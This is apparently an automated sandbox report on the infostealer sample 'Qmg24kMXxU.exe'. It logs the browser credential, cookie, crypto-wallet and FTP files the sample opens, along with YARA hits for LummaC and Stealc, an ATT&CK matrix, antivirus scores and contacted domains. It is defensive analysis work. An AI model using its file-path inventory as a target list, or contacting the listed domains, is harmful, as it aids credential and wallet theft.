Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior

Source: C:\Users\user\Desktop\Qmg24kMXxU.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000002.00000003.2444903083.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Qmg24kMXxU.exe PID: 6508, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Qmg24kMXxU.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000011.00000003.2697183057.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2744770047.000000000168E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2740775747.0000000000FC1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	223 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 Windows Service	3 Obfuscated Files or Information	Security Account Manager	851 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	2 Process Injection	12 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	371 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	371 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Qmg24kMXxU.exe	58%	Virustotal		Browse
Qmg24kMXxU.exe	55%	ReversingLabs	Win32.Trojan.Symmi
Qmg24kMXxU.exe	100%	Avira	TR/Crypt.XPACK.Gen
Qmg24kMXxU.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe	42%	ReversingLabs	Win32.Infostealer.Tinba

Name	IP	Active	Malicious	Reputation
discokeyus.lat	172.67.197.170	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
grannyejh.lat	unknown	unknown	false	high
sweepyribs.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
